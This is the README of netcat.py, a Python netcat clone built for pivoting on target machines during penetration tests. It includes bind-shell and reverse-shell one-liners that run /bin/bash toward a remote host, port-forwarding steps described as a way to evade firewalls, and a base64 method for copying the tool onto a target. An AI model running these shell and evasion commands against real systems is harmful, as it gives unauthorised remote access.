Package: netcat
netcat.pyDependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.MotivationTo have a single tool for older, newer, 32bit and 64bit machines with relevant options (-e.-Land-R) to create bind shells, local and remote port-forwards.:tada: Installpipinstallnetcat:coffee: TL;DRCopy to target# Copy base64 data to clipboard from where you have internet accesscurlhttps://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py|base64# Paste it on the target machineecho"<BASE64 STRING>"|base64-d>netcat.py
chmod+xnetcat.pySummon shells# bind shellnetcat.py-l-e'/bin/bash'8080# reverse shellnetcat.py-e'/bin/bash'example.com4444Port-forwarding without SSH# Make local port available to public interface locallynetcat.py-L127.0.0.1:3306192.168.0.13306# Remote port-forwarding to evade firewallsnetcat.py-R127.0.0.1:3306example.com4444:computer: Usageusage: netcat.py [-Cnuv] [-e cmd] hostname port
       netcat.py [-Cnuv] [-e cmd] -l [hostname] port
       netcat.py [-Cnuv] -L addr:port [hostname] port
       netcat.py [-Cnuv] -R addr:port hostname port
       netcat.py -V, --version
       netcat.py -h, --help


Netcat implementation in Python with connect, listen and forward mode.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          Listen mode: Enable listen mode for inbound connects
  -L addr:port, --local addr:port
                        Local forward mode: Specify local <addr>:<port> to which traffic
                        should be forwarded to.
                        Netcat will listen locally (specified by hostname and port) and
                        forward all traffic to the specified value for -L/--local.
  -R addr:port, --remote addr:port
                        Remote forward mode: Specify local <addr>:<port> from which traffic
                        should be forwarded from.
                        Netcat will connect remotely (specified by hostname and port) and
                        for ward all traffic from the specified value for -R/--remote.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only works with connect or listen mode.
  -C, --crlf            Send CRLF as line-endings (default: LF)
  -n, --nodns           Do not resolve DNS
  -u, --udp             UDP mode
  -v, --verbose         Be verbose and print info to stderr. Use -vv or -vvv for more verbosity.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

examples:

  Create bind shell
    netcat.py -l -e '/bin/bash' 8080

  Create reverse shell
    netcat.py -e '/bin/bash' example.com 4444

  Local forward: Make localhost port available to another interface
    netcat.py -L 127.0.0.1:3306 192.168.0.1 3306

  Remote forward: Forward local port to remote server
    netcat.py -R 127.0.0.1:3306 example.com 4444:lock:cytopiasec toolsToolCategoryLanguageDescriptionsmtp-user-enumEnumerationPython 2+3SMTP users enumeratorurlbusterEnumerationPython 2+3Mutable web directory fuzzernetcatPivotingPython 2+3Cross-platform netcatbadcharsReverse EngineeringPython 2+3Badchar generatorfuzzaReverse EngineeringPython 2+3TCP fuzzing tool:exclamation: DisclaimerThis tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.:page_facing_up: LicenseMIT LicenseCopyright (c) 2020cytopia